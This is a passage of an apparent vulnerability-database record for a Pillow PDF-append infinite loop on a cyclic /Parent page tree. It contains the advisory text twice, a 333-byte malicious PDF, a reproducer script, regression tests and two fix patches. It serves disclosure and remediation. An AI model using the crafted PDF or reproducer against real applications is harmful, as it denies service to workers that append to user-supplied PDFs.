either finishes the cyclic append just as fast or rejects the file with an exception. In both cases the script prints `OK`. With attached patch 1 applied it prints `[cyclic] append finished in 0.001s` and `OK`. With attached patch 2 it prints `[cyclic] raised PdfFormatError: page tree loop found` and `OK`. The last line is `BUG` only when the cyclic append is still running when the watchdog fires.\n\n## Suggested fix\n\nBoth attached patches fix the root cause, which is that the `/Parent` walk in `rewrite_pages()` keeps no record of the nodes it has visited. Either one can be merged; they differ only in what happens to a malformed file.\n\n**Attached patch 1** (tolerant; our preference) adds one `processed_pages_tree_nodes` set that is shared across all pages in the delete loop, and breaks out of the `while` as soon as it reaches a node it has already seen:\n\n```python\n# src/PIL/PdfParser.py, rewrite_pages()\n        processed_pages_tree_nodes: set[IndirectReference] = set()\n        for pages_tree_node_ref in pages_tree_nodes_to_delete:\n            while pages_tree_node_ref:\n                if pages_tree_node_ref in processed_pages_tree_nodes:\n                    break\n                processed_pages_tree_nodes.add(pages_tree_node_ref)\n                …\n```\n\nBreaking loses nothing, because a visited node has already been removed from the xref table. The output is the same as today for every file that terminates. The file above is appended to normally, and object 2 ends up deleted. As a side effect, the ancestor chain that every page shares is walked once in total rather than once per page.\n\n**Attached patch 2** (strict) follows the `read_prev_trailer()` guard from the CVE-2026-42310 fix. It keeps a `processed_pages_tree_nodes` list for each page and calls `check_format_condition(pages_tree_node_ref not in processed_pages_tree_nodes, \"page tree loop found\")`, so a cyclic file is rejected with `PdfFormatError`. The list is per page because ancestors are legitimately shared between the pages of a well-formed document. Note that the error is raised from `write_catalog()`. By then the new page objects have already been written to the `r+b` file, but the new xref/trailer has not. Any other error raised on the append path today leaves the file in the same partially written state.\n\nEach patch also adds a `test_page_tree_parent_loop` regression test to `Tests/test_pdfparser.py`. The test builds the self-parented PDF above in memory, so no binary test asset is needed. No other `/Parent` walk exists in the parser, and `linearize_page_tree()` does not follow `/Parent`.\n\nNote that this walk follows `/Parent` links, which nothing else in `PdfParser` reads: `linearize_page_tree()` only follows `/Kids` downward and never looks at `/Parent`, so a visited-set added to the `/Kids` recursion (see Related findings) does not reach this loop. The file above has a perfectly tree-shaped `/Kids` structure and still hangs; both walks need their own guard, and they are natural to land together as one \"validate page tree while appending\" change.\n\n## Related findings\n\n- **Exponential page tree expansion in `PdfParser.linearize_page_tree()` (repeated `/Kids` references) hangs PDF append** — the downward counterpart of this bug in the same parser and on the same `Image.save(..., \"PDF\", append=True)` entry point: `linearize_page_tree()` (`src/PIL/PdfParser.py:1080-1094`) recurses into every `/Kids` entry and re-parses it via `read_indirect()` with no visited set, so a `/Pages` chain whose nodes list the same child N times over D levels costs N\u003csup\u003eD\u003c/sup\u003e object parses (a 1.9 KB, 10-wide × 12-level file never returns; a 5.8 KB, 300-wide × 3-level file runs for 13 minutes; a direct `/Kids` cycle ends in `RecursionError`). It differs from this report in the link followed (`/Kids` down vs `/Parent` up), the function and phase (`linearize_page_tree()` during `read_pdf_info()` in the `PdfParser` constructor vs `rewrite_pages()` during `write_catalog()`), the introducing commit (`6207b44ab1ff` vs `24ecfe315ab5`), and the symptom (exponential but finite CPU vs a true infinite loop). It needs a separate hunk: the patches attached here only guard the `/Parent` walk and leave the `/Kids` reproducer hanging in `linearize_page_tree()`, and the `/Kids` guard conversely leaves this reproducer spinning in `rewrite_pages()` — verified by cross-applying each patch. Applied together (the `/Kids` guard plus attached patch 2), both reproducers are rejected with `PdfFormatError: page tree loop found` and `Tests/test_pdfparser.py` + `Tests/test_file_pdf.py` pass (30 tests).\n\n## The patch (1 of 2)\n\nTrack visited page-tree nodes in PdfParser.rewrite_pages() so a cyclic /Parent chain cannot loop forever when appending to a PDF\n\nApplies to `src/PIL/PdfParser.py` at the commit above.\n\n```diff\ndiff --git a/Tests/test_pdfparser.py b/Tests/test_pdfparser.py\nindex f2ae6b11f..f841aca14 100644\n--- a/Tests/test_pdfparser.py\n+++ b/Tests/test_pdfparser.py\n@@ -169,3 +169,28 @@ def test_duplicate_xref_entry() -\u003e None:\n def test_trailer_loop() -\u003e None:\n     with pytest.raises(PdfFormatError, match=\"trailer loop found\"):\n         PdfParser(\"Tests/images/trailer_loop.pdf\")\n+\n+\n+@pytest.mark.timeout(5)\n+def test_page_tree_parent_loop() -\u003e None:\n+    # the /Pages root names itself as its own /Parent\n+    objects = [\n+        b\"\u003c\u003c/Type /Catalog /Pages 2 0 R\u003e\u003e\",\n+        b\"\u003c\u003c/Type /Pages /Kids [3 0 R] /Count 1 /Parent 2 0 R\u003e\u003e\",\n+        b\"\u003c\u003c/Type /Page /Parent 2 0 R /MediaBox [0 0 10 10]\u003e\u003e\",\n+    ]\n+    b = BytesIO(b\"%PDF-1.4\\n\")\n+    offsets = []\n+    for object_id, body in enumerate(objects, start=1):\n+        offsets.append(b.tell())\n+        b.write(b\"%d 0 obj\\n%s\\nendobj\\n\" % (object_id, body))\n+    xref_offset = b.tell()\n+    b.write(b\"xref\\n0 4\\n0000000000 65535 f \\n\")\n+    b.write(b\"\".join(b\"%010d 00000 n \\n\" % offset for offset in offsets))\n+    b.write(b\"trailer\\n\u003c\u003c/Size 4 /Root 1 0 R\u003e\u003e\\nstartxref\\n%d\\n%%%%EOF\\n\" % xref_offset)\n+\n+    with PdfParser(f=b, mode=\"r+b\") as pdf:\n+        pdf.start_writing()\n+        pdf.write_catalog()\n+        pdf.write_xref_and_trailer()\n+        assert 2 in pdf.xref_table.deleted_entries\ndiff --git a/src/PIL/PdfParser.py b/src/PIL/PdfParser.py\nindex 672557190..9260cd8e7 100644\n--- a/src/PIL/PdfParser.py\n+++ b/src/PIL/PdfParser.py\n@@ -501,8 +501,14 @@ class PdfParser:\n                     # replace the page reference with the new one\n                     self.pages[j] = new_page_ref\n         # delete redundant Pages tree nodes from xref table\n+        processed_pages_tree_nodes: set[IndirectReference] = set()\n         for pages_tree_node_ref in pages_tree_nodes_to_delete:\n             while pages_tree_node_ref:\n+                if pages_tree_node_ref in processed_pages_tree_nodes:\n+                    # ancestors are shared between pages, and a malformed\n+                    # /Parent chain may loop back on itself\n+                    break\n+                processed_pages_tree_nodes.add(pages_tree_node_ref)\n                 pages_tree_node = self.cached_objects[pages_tree_node_ref]\n                 if pages_tree_node_ref.object_id in self.xref_table:\n                     del self.xref_table[pages_tree_node_ref.object_id]\n```\n\n## The patch (2 of 2)\n\nRaise PdfFormatError(\"page tree loop found\") in PdfParser.rewrite_pages() when a page's /Parent chain loops back on itself\n\nApplies to `src/PIL/PdfParser.py` at the commit above.\n\n```diff\ndiff --git a/Tests/test_pdfparser.py b/Tests/test_pdfparser.py\nindex f2ae6b11f..24faeefbc 100644\n--- a/Tests/test_pdfparser.py\n+++ b/Tests/test_pdfparser.py\n@@ -169,3 +169,27 @@ def test_duplicate_xref_entry() -\u003e None:\n def test_trailer_loop() -\u003e None:\n     with pytest.raises(PdfFormatError, match=\"trailer loop found\"):\n         PdfParser(\"Tests/images/trailer_loop.pdf\")\n+\n+\n+@pytest.mark.timeout(5)\n+def test_page_tree_parent_loop() -\u003e None:\n+    # the /Pages root names itself as its own /Parent\n+    objects = [\n+        b\"\u003c\u003c/Type /Catalog /Pages 2 0 R\u003e\u003e\",\n+        b\"\u003c\u003c/Type /Pages /Kids [3 0 R] /Count 1 /Parent 2 0 R\u003e\u003e\",\n+        b\"\u003c\u003c/Type /Page /Parent 2 0 R /MediaBox [0 0 10 10]\u003e\u003e\",\n+    ]\n+    b = BytesIO(b\"%PDF-1.4\\n\")\n+    offsets = []\n+    for object_id, body in enumerate(objects, start=1):\n+        offsets.append(b.tell())\n+        b.write(b\"%d 0 obj\\n%s\\nendobj\\n\" % (object_id, body))\n+    xref_offset = b.tell()\n+    b.write(b\"xref\\n0 4\\n0000000000 65535 f \\n\")\n+    b.write(b\"\".join(b\"%010d 00000 n \\n\" % offset for offset in offsets))\n+    b.write(b\"trailer\\n\u003c\u003c/Size 4 /Root 1 0 R\u003e\u003e\\nstartxref\\n%d\\n%%%%EOF\\n\" % xref_offset)\n+\n+    with PdfParser(f=b, mode=\"r+b\") as pdf:\n+        pdf.start_writing()\n+        with pytest.raises(PdfFormatError, match=\"page tree loop found\"):\n+            pdf.write_catalog()\ndiff --git a/src/PIL/PdfParser.py b/src/PIL/PdfParser.py\nindex 672557190..9021b8d63 100644\n--- a/src/PIL/PdfParser.py\n+++ b/src/PIL/PdfParser.py\n@@ -502,7 +502,13 @@ class PdfParser:\n                     self.pages[j] = new_page_ref\n         # delete redundant Pages tree nodes from xref table\n         for pages_tree_node_ref in pages_tree_nodes_to_delete:\n+            processed_pages_tree_nodes = []\n             while pages_tree_node_ref:\n+                check_format_condition(\n+                    pages_tree_node_ref not in processed_pages_tree_nodes,\n+                    \"page tree loop found\",\n+                )\n+                processed_pages_tree_nodes.append(pages_tree_node_ref)\n                 pages_tree_node = self.cached_objects[pages_tree_node_ref]\n                 if pages_tree_node_ref.object_id in self.xref_table:\n                     del self.xref_table[pages_tree_node_ref.object_id]\n```\n\n## The reproducer\n\n\u003cdetails\u003e\n\u003csummary\u003eReproducer — \u003ccode\u003erepro\u003c/code\u003e, 3,152 bytes (click to open)\u003c/summary\u003e\n\nIts last line is `BUG` when the issue triggers and `OK` when it does not. Re-run on a clean build of that commit it printed `BUG`.\n\n```python\n#!/usr/bin/env python3\n\"\"\"Infinite loop in PdfParser.rewrite_pages() on a cyclic /Parent chain.\n\nAppending an image to an existing PDF (im.save(fp, \"PDF\", append=True)) makes\nrewrite_pages() walk each original page's /Parent chain upward until a node has\nno /Parent.  Nothing records which nodes were visited, so a /Pages node that\nnames itself as its own /Parent keeps the walk going forever.\n\nWe append a 4x4 image to two one-page PDFs that differ in one entry:\n  control - a normal PDF                          -\u003e finishes in milliseconds\n  cyclic  - the /Pages root also says /Parent 2 0 R -\u003e never finishes\nA SIGALRM watchdog interrupts the append and shows the line it was stuck on.\n\"\"\"\nimport io\nimport signal\nimport time\nimport traceback\n\nfrom PIL import Image\n\nWATCHDOG_S = 5\n\n\ndef make_pdf(pages_root):\n    \"\"\"Catalog (1) -\u003e /Pages root (2) -\u003e /Page (3), with a correct xref table.\"\"\"\n    objects = [\n        b\"\u003c\u003c/Type /Catalog /Pages 2 0 R\u003e\u003e\",\n        pages_root,\n        b\"\u003c\u003c/Type /Page /Parent 2 0 R /MediaBox [0 0 10 10]\u003e\u003e\",\n    ]\n    pdf = bytearray(b\"%PDF-1.4\\n\")\n    offsets = []\n    for num, body in enumerate(objects, start=1):\n        offsets.append(len(pdf))\n        pdf += b\"%d 0 obj\\n%s\\nendobj\\n\" % (num, body)\n    xref_offset = len(pdf)\n    pdf += b\"xref\\n0 4\\n0000000000 65535 f \\n\"\n    pdf += b\"\".join(b\"%010d 00000 n \\n\" % off for off in offsets)\n    pdf += b\"trailer\\n\u003c\u003c/Size 4 /Root 1 0 R\u003e\u003e\\nstartxref\\n%d\\n%%%%EOF\\n\" % xref_offset\n    return bytes(pdf)\n\n\nclass StillRunning(BaseException):\n    pass\n\n\ndef on_alarm(signum, frame):\n    raise StillRunning\n\n\ndef append_image(name, pdf):\n    \"\"\"Append an image to `pdf`; return True if it finished before the watchdog.\"\"\"\n    print(f\"--- {name}: {len(pdf)}-byte PDF ---\")\n    print(pdf.decode(\"latin-1\"), end=\"\")\n    signal.alarm(WATCHDOG_S)\n    start = time.monotonic()\n    try:\n        Image.new(\"RGB\", (4, 4)).save(io.BytesIO(pdf), \"PDF\", append=True)\n    except StillRunning as e:\n        print(f\"[{name}] still running after {WATCHDOG_S}s, interrupted in:\")\n        for frame in traceback.extract_tb(e.__traceback__):\n            if \"/PIL/\" in frame.filename:\n                print(f\"    {frame.name}()  {frame.filename}:{frame.lineno}  {frame.line}\")\n        return False\n    except Exception as e:  # rejecting the file is a correct, safe outcome\n        print(f\"[{name}] raised {type(e).__name__}: {e}\")\n        return True\n    finally:\n        signal.alarm(0)\n    print(f\"[{name}] append finished in {time.monotonic() - start:.3f}s\")\n    return True\n\n\nsignal.signal(signal.SIGALRM, on_alarm)\n\n# Set up: the well-formed file is appended to instantly.\ncontrol = make_pdf(b\"\u003c\u003c/Type /Pages /Kids [3 0 R] /Count 1\u003e\u003e\")\nif not append_image(\"control\", control):\n    print(\"control case did not finish; environment problem, no verdict\")\n    print(\"OK\")\n    raise SystemExit\n\n# Attack: the same file, except the /Pages root is its own /Parent.\ncyclic = make_pdf(b\"\u003c\u003c/Type /Pages /Kids [3 0 R] /Count 1 /Parent 2 0 R\u003e\u003e\")\nfinished = append_image(\"cyclic\", cyclic)\n\n# Verify: a fixed parser finishes (or rejects the file) like the control.\nprint(\"BUG\" if not finished else \"OK\")\n```\n\u003c/details\u003e\n\n---","status":"published","published":"2026-10-21T21:21:07Z","modified":"2026-10-21T21:21:09Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-835"],"updated_at":"2026-11-02T14:41:34.690842Z"}],"nvd":[{"id":"CVE-2026-112406","description":"Pillow is a Python imaging library. From 5.1.0 until 13.0.0, Pillow can enter an infinite loop while rewriting PDF pages. PdfParser.rewrite_pages() follows Parent relationships without detecting a cycle in the page tree. An attacker can supply a cyclic PDF to an application that appends an image to that PDF. This can hold the worker at full CPU and deny service. This issue is fixed in version 13.0.0.","status":"published","published":"2026-10-19T22:17:08.153Z","modified":"2026-10-27T14:59:51.513Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"high","assessor":"secondary"},{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"primary"}],"cwes":["CWE-835"],"updated_at":"2026-11-02T14:13:00.83844Z"}],"osv":[{"id":"CVE-2026-112406","title":"Pillow: Infinite loop in PdfParser.rewrite_pages on page tree Parent cycle","description":"Pillow is a Python imaging library. From 5.1.0 until 13.0.0, Pillow can enter an infinite loop while rewriting PDF pages. PdfParser.rewrite_pages() follows Parent relationships without detecting a cycle in the page tree. An attacker can supply a cyclic PDF to an application that appends an image to that PDF. This can hold the worker at full CPU and deny service. This issue is fixed in version 13.0.0.","status":"published","published":"2026-10-19T21:31:49.946Z","modified":"2026-11-03T13:27:02.029436621Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-835"],"updated_at":"2026-11-03T14:04:51.541271Z"},{"id":"DEBIAN-CVE-2026-112406","description":"Pillow is a Python imaging library. From 5.1.0 until 13.0.0, Pillow can enter an infinite loop while rewriting PDF pages. PdfParser.rewrite_pages() follows Parent relationships without detecting a cycle in the page tree. An attacker can supply a cyclic PDF to an application that appends an image to that PDF. This can hold the worker at full CPU and deny service. This issue is fixed in version 13.0.0.","status":"published","published":"2026-10-19T22:17:08.153Z","modified":"2026-10-28T10:00:14.513980035Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T15:45:50.391389Z"},{"id":"GHSA-f2g6-542v-9j58","title":"Pillow: Infinite loop in PdfParser.rewrite_pages on page tree Parent cycle","description":"```\n============================================================================\nInfinite loop in PdfParser.rewrite_pages on page tree Parent cycle\nLocation: src/PIL/PdfParser.py:505  in PdfParser.rewrite_pages()\nCommit:   a707c6b21c313880d0771e54965d142dd42358b6\n============================================================================\n```\n\nA PDF file of a few hundred bytes makes Pillow hang forever, holding one processor core at 100%, when an application tries to append an image to it. Anyone who can supply the existing PDF to an application that calls `im.save(fp, \"PDF\", append=True)` (or `save_all=True, append=True`) can tie up that worker indefinitely. Memory use stays flat, so only an external timeout stops it.\n\nThe bug is in `PdfParser.rewrite_pages()` in `src/PIL/PdfParser.py` (the `while pages_tree_node_ref:` loop at line 505). For each original page, it walks the `/Parent` chain upward and stops only when it reaches a node with no `/Parent`. It keeps no record of nodes it has already visited, so a loop in that chain never ends. The simplest case is a `/Pages` root that lists itself as its own `/Parent`; a longer cycle among page-tree nodes behaves the same way. The path is `PdfImagePlugin._save()` → `write_catalog()` → `rewrite_pages()`, and it is reached whether the save target is a file path or a `BytesIO`. Plain `Image.open()` pipelines are not affected, because Pillow only parses PDFs on the append path.\n\nThis is a sibling of CVE-2026-42310 (the cyclic trailer `/Prev` loop in the same parser). The `processed_offsets` guard added to `read_prev_trailer()` for that issue does not cover this walk. The loop was introduced in 24ecfe315ab5 (2018-03-03) and has been present in every release since 5.1.0.\n\nThe attached reproducer builds two in-memory PDFs and appends a 4×4 image to each. The normal file finishes in about 45 ms. The 333-byte self-parented file is still spinning inside `rewrite_pages()` when a 5-second watchdog interrupts it. Two alternative fixes are attached: one silently tolerates the cycle, and one rejects the file with an error.\n\n## Details\n\n`PdfParser.rewrite_pages()` walks the `/Parent` chain of every pre-existing page upward and stops only when a node has no `/Parent`. It keeps no record of visited nodes, so a page-tree node whose `/Parent` points at itself, or at any node below it, makes the walk spin forever.\n\nThe following 333-byte file is a valid one-page PDF except that object 2, the page-tree root, declares `/Parent 2 0 R`:\n\n```\n%PDF-1.4\n1 0 obj\n\u003c\u003c/Type /Catalog /Pages 2 0 R\u003e\u003e\nendobj\n2 0 obj\n\u003c\u003c/Type /Pages /Kids [3 0 R] /Count 1 /Parent 2 0 R\u003e\u003e\nendobj\n3 0 obj\n\u003c\u003c/Type /Page /Parent 2 0 R /MediaBox [0 0 10 10]\u003e\u003e\nendobj\nxref\n0 4\n0000000000 65535 f \n0000000009 00000 n \n0000000056 00000 n \n0000000125 00000 n \ntrailer\n\u003c\u003c/Size 4 /Root 1 0 R\u003e\u003e\nstartxref\n192\n%%EOF\n```\n\n`Image.new(\"RGB\", (4, 4)).save(io.BytesIO(pdf), \"PDF\", append=True)` on these bytes never returns and holds one core at 100 % (the same happens when the target is a file path opened `r+b`). Interrupting it with `SIGALRM` after 5 s gives this traceback every time:\n\n```\n  File \"src/PIL/PdfImagePlugin.py\", line 263, in _save\n    existing_pdf.write_catalog()\n  File \"src/PIL/PdfParser.py\", line 473, in write_catalog\n    self.rewrite_pages()\n  File \"src/PIL/PdfParser.py\", line 505, in rewrite_pages\n    while pages_tree_node_ref:\n```\n\nThe same file without `/Parent 2 0 R` on object 2 is appended to in ~30 ms.\n\nThe loop:\n\n```python\n# src/PIL/PdfParser.py:483-510\ndef rewrite_pages(self) -\u003e None:\n    pages_tree_nodes_to_delete = []\n    for i, page_ref in enumerate(self.orig_pages):\n        page_info = self.cached_objects[page_ref]\n        del self.xref_table[page_ref.object_id]\n        pages_tree_nodes_to_delete.append(page_info[PdfName(b\"Parent\")])\n        …\n    # delete redundant Pages tree nodes from xref table\n    for pages_tree_node_ref in pages_tree_nodes_to_delete:\n        while pages_tree_node_ref:\n            pages_tree_node = self.cached_objects[pages_tree_node_ref]\n            if pages_tree_node_ref.object_id in self.xref_table:\n                del self.xref_table[pages_tree_node_ref.object_id]\n            pages_tree_node_ref = pages_tree_node.get(b\"Parent\", None)\n    self.orig_pages = []\n```\n\nHow the input gets there: with `append=True`, `PdfImagePlugin._save()` opens the existing bytes with `PdfParser.PdfParser(f=fp, …, mode=\"r+b\")` (`src/PIL/PdfImagePlugin.py:199`), whose constructor calls `read_pdf_info()`. That reads the catalog, reads the page-tree root through `read_indirect()` — which stores every object it reads in `self.cached_objects` (`src/PIL/PdfParser.py:1077`) — and flattens the tree with `linearize_page_tree()`, which `read_indirect()`s every `/Kids` entry. So after parsing, `orig_pages == [3 0 R]` and objects 2 and 3 are both in `cached_objects`. `_save()` then calls `existing_pdf.write_catalog()` → `rewrite_pages()`.\n\nFor the file above, the first loop puts page 3's `/Parent`, `2 0 R`, into `pages_tree_nodes_to_delete`. The inner `while` looks object 2 up in `cached_objects`, removes it from the xref table on the first pass, and sets `pages_tree_node_ref` to object 2's `/Parent` — which is `2 0 R` again. Nothing in the loop body changes on subsequent iterations, so it never exits: `cached_objects[2 0 R]` is never evicted, and deleting an already-deleted id from `XrefTable` is silent — `__delitem__` only records the id in `deleted_entries`, while `__contains__` keeps answering from `existing_entries`. The loop performs no I/O and no allocation, so neither `MemoryError` nor the recursion limit intervenes. A longer cycle behaves identically as long as every node on it was reached through `linearize_page_tree()` and is therefore cached (e.g. root 2 → `/Kids [4 0 R]`, node 4 → `/Kids [3 0 R] /Parent 2 0 R`, and root 2 declaring `/Parent 4 0 R`); a `/Parent` pointing at an object that was never read raises `KeyError` instead, which is harmless.\n\nThe parser already defends against exactly this shape of problem one level up: `read_prev_trailer()` (`src/PIL/PdfParser.py:699-722`) carries a `processed_offsets` list and raises `PdfFormatError(\"trailer loop found\")` when a `/Prev` offset repeats — the fix for CVE-2026-42310. The `/Parent` walk in `rewrite_pages()` has no equivalent guard.\n\nThe unguarded walk was introduced in `24ecfe315ab5` (\"issue #2959: fix wrong Parent of pre-existing Page objects when appending\", 2018-03-03) and has been in every release since 5.1.0.\n\n## Impact\n\nAny application that appends pages to a PDF it did not produce — `im.save(fp, \"PDF\", append=True)` or `save_all=True, append=True` on a user-supplied document — hangs indefinitely with one CPU core pinned, on an input of a few hundred bytes. The loop is pure Python doing two dict lookups per iteration, so memory stays flat and memory limits do not end it; only an external watchdog does. In a web worker or batch converter that is a denial of service of that worker per request. The attacker needs to control only the bytes of the existing PDF; no non-default Pillow setting is involved beyond the application choosing the append path. Pillow does not open PDFs for reading, so plain `Image.open()` pipelines are not affected.\n\nThis is a sibling of CVE-2026-42310 (infinite loop on a cyclic trailer `/Prev` chain in the same parser, same entry point): same class, different linked structure, and the guard added for that CVE does not cover it.\n\n## Reproducing\n\n`repro` is a single Python script that runs against the installed Pillow (`/src/src/PIL`). It needs no build step and no companion files, and takes about 5 seconds.\n\nThe script builds two one-page PDFs in memory with `make_pdf()`. Each has a Catalog (object 1), a `/Pages` root (object 2) and a `/Page` (object 3), and each has a correct xref table. The only difference between them is in object 2:\n\n- `control` has `\u003c\u003c/Type /Pages /Kids [3 0 R] /Count 1\u003e\u003e`. This is a normal file.\n- `cyclic` has `\u003c\u003c/Type /Pages /Kids [3 0 R] /Count 1 /Parent 2 0 R\u003e\u003e`, so the page-tree root names itself as its own `/Parent`. This is the 333-byte file shown above.\n\nFor each PDF the script prints the bytes and then calls `Image.new(\"RGB\", (4, 4)).save(io.BytesIO(pdf), \"PDF\", append=True)` under a 5-second `SIGALRM` watchdog. If the watchdog fires, the script prints the Pillow frames the append was running in. The control runs first and has to finish. If it doesn't, the environment is broken, so the script prints `OK` without giving a verdict.\n\nExpected output on this commit (PDF dumps omitted):\n\n```\n[control] append finished in 0.045s\n[cyclic] still running after 5s, interrupted in:\n    save()  /src/src/PIL/Image.py:2724  save_handler(self, fp, filename)\n    _save()  /src/src/PIL/PdfImagePlugin.py:263  existing_pdf.write_catalog()\n    write_catalog()  /src/src/PIL/PdfParser.py:473  self.rewrite_pages()\n    rewrite_pages()  /src/src/PIL/PdfParser.py:506  pages_tree_node = self.cached_objects[pages_tree_node_ref]\n    ...\nBUG\n```\n\nThe innermost one or two frames change from run to run, because the alarm can land anywhere in the loop body at lines 505–509. The `rewrite_pages()` frame is always there. The control's timing shows that the same file without the self-reference is appended to in milliseconds. A fixed parser either finishes the cyclic append just as fast or rejects the file with an exception. In both cases the script prints `OK`. With attached patch 1 applied it prints `[cyclic] append finished in 0.001s` and `OK`. With attached patch 2 it prints `[cyclic] raised PdfFormatError: page tree loop found` and `OK`. The last line is `BUG` only when the cyclic append is still running when the watchdog fires.\n\n## Suggested fix\n\nBoth attached patches fix the root cause, which is that the `/Parent` walk in `rewrite_pages()` keeps no record of the nodes it has visited. Either one can be merged; they differ only in what happens to a malformed file.\n\n**Attached patch 1** (tolerant; our preference) adds one `processed_pages_tree_nodes` set that is shared across all pages in the delete loop, and breaks out of the `while` as soon as it reaches a node it has already seen:\n\n```python\n# src/PIL/PdfParser.py, rewrite_pages()\n        processed_pages_tree_nodes: set[IndirectReference] = set()\n        for pages_tree_node_ref in pages_tree_nodes_to_delete:\n            while pages_tree_node_ref:\n                if pages_tree_node_ref in processed_pages_tree_nodes:\n                    break\n                processed_pages_tree_nodes.add(pages_tree_node_ref)\n                …\n```\n\nBreaking loses nothing, because a visited node has already been removed from the xref table. The output is the same as today for every file that terminates. The file above is appended to normally, and object 2 ends up deleted. As a side effect, the ancestor chain that every page shares is walked once in total rather than once per page.\n\n**Attached patch 2** (strict) follows the `read_prev_trailer()` guard from the CVE-2026-42310 fix. It keeps a `processed_pages_tree_nodes` list for each page and calls `check_format_condition(pages_tree_node_ref not in processed_pages_tree_nodes, \"page tree loop found\")`, so a cyclic file is rejected with `PdfFormatError`. The list is per page because ancestors are legitimately shared between the pages of a well-formed document. Note that the error is raised from `write_catalog()`. By then the new page objects have already been written to the `r+b` file, but the new xref/trailer has not. Any other error raised on the append path today leaves the file in the same partially written state.\n\nEach patch also adds a `test_page_tree_parent_loop` regression test to `Tests/test_pdfparser.py`. The test builds the self-parented PDF above in memory, so no binary test asset is needed. No other `/Parent` walk exists in the parser, and `linearize_page_tree()` does not follow `/Parent`.\n\nNote that this walk follows `/Parent` links, which nothing else in `PdfParser` reads: `linearize_page_tree()` only follows `/Kids` downward and never looks at `/Parent`, so a visited-set added to the `/Kids` recursion (see Related findings) does not reach this loop. The file above has a perfectly tree-shaped `/Kids` structure and still hangs; both walks need their own guard, and they are natural to land together as one \"validate page tree while appending\" change.\n\n## Related findings\n\n- **Exponential page tree expansion in `PdfParser.linearize_page_tree()` (repeated `/Kids` references) hangs PDF append** — the downward counterpart of this bug in the same parser and on the same `Image.save(..., \"PDF\", append=True)` entry point: `linearize_page_tree()` (`src/PIL/PdfParser.py:1080-1094`) recurses into every `/Kids` entry and re-parses it via `read_indirect()` with no visited set, so a `/Pages` chain whose nodes list the same child N times over D levels costs N\u003csup\u003eD\u003c/sup\u003e object parses (a 1.9 KB, 10-wide × 12-level file never returns; a 5.8 KB, 300-wide × 3-level file runs for 13 minutes; a direct `/Kids` cycle ends in `RecursionError`). It differs from this report in the link followed (`/Kids` down vs `/Parent` up), the function and phase (`linearize_page_tree()` during `read_pdf_info()` in the `PdfParser` constructor vs `rewrite_pages()` during `write_catalog()`), the introducing commit (`6207b44ab1ff` vs `24ecfe315ab5`), and the symptom (exponential but finite CPU vs a true infinite loop). It needs a separate hunk: the patches attached here only guard the `/Parent` walk and leave the `/Kids` reproducer hanging in `linearize_page_tree()`, and the `/Kids` guard conversely leaves this reproducer spinning in `rewrite_pages()` — verified by cross-applying each patch. Applied together (the `/Kids` guard plus attached patch 2), both reproducers are rejected with `PdfFormatError: page tree loop found` and `Tests/test_pdfparser.py` + `Tests/test_file_pdf.py` pass (30 tests).\n\n## The patch (1 of 2)\n\nTrack visited page-tree nodes in PdfParser.rewrite_pages() so a cyclic /Parent chain cannot loop forever when appending to a PDF\n\nApplies to `src/PIL/PdfParser.py` at the commit above.\n\n```diff\ndiff --git a/Tests/test_pdfparser.py b/Tests/test_pdfparser.py\nindex f2ae6b11f..f841aca14 100644\n--- a/Tests/test_pdfparser.py\n+++ b/Tests/test_pdfparser.py\n@@ -169,3 +169,28 @@ def test_duplicate_xref_entry() -\u003e None:\n def test_trailer_loop() -\u003e None:\n     with pytest.raises(PdfFormatError, match=\"trailer loop found\"):\n         PdfParser(\"Tests/images/trailer_loop.pdf\")\n+\n+\n+@pytest.mark.timeout(5)\n+def test_page_tree_parent_loop() -\u003e None:\n+    # the /Pages root names itself as its own /Parent\n+    objects = [\n+        b\"\u003c\u003c/Type /Catalog /Pages 2 0 R\u003e\u003e\",\n+        b\"\u003c\u003c/Type /Pages /Kids [3 0 R] /Count 1 /Parent 2 0 R\u003e\u003e\",\n+        b\"\u003c\u003c/Type /Page /Parent 2 0 R /MediaBox [0 0 10 10]\u003e\u003e\",\n+    ]\n+    b = BytesIO(b\"%PDF-1.4\\n\")\n+    offsets = []\n+    for object_id, body in enumerate(objects, start=1):\n+        offsets.append(b.tell())\n+        b.write(b\"%d 0 obj\\n%s\\nendobj\\n\" % (object_id, body))\n+    xref_offset = b.tell()\n+    b.write(b\"xref\\n0 4\\n0000000000 65535 f \\n\")\n+    b.write(b\"\".join(b\"%010d 00000 n \\n\" % offset for offset in offsets))\n+    b.write(b\"trailer\\n\u003c\u003c/Size 4 /Root 1 0 R\u003e\u003e\\nstartxref\\n%d\\n%%%%EOF\\n\" % xref_offset)\n+\n+    with PdfParser(f=b, mode=\"r+b\") as pdf:\n+        pdf.start_writing()\n+        pdf.write_catalog()\n+        pdf.write_xref_and_trailer()\n+        assert 2 in pdf.xref_table.deleted_entries\ndiff --git a/src/PIL/PdfParser.py b/src/PIL/PdfParser.py\nindex 672557190..9260cd8e7 100644\n--- a/src/PIL/PdfParser.py\n+++ b/src/PIL/PdfParser.py\n@@ -501,8 +501,14 @@ class PdfParser:\n                     # replace the page reference with the new one\n                     self.pages[j] = new_page_ref\n         # delete redundant Pages tree nodes from xref table\n+        processed_pages_tree_nodes: set[IndirectReference] = set()\n         for pages_tree_node_ref in pages_tree_nodes_to_delete:\n             while pages_tree_node_ref:\n+                if pages_tree_node_ref in processed_pages_tree_nodes:\n+                    # ancestors are shared between pages, and a malformed\n+                    # /Parent chain may loop back on itself\n+                    break\n+                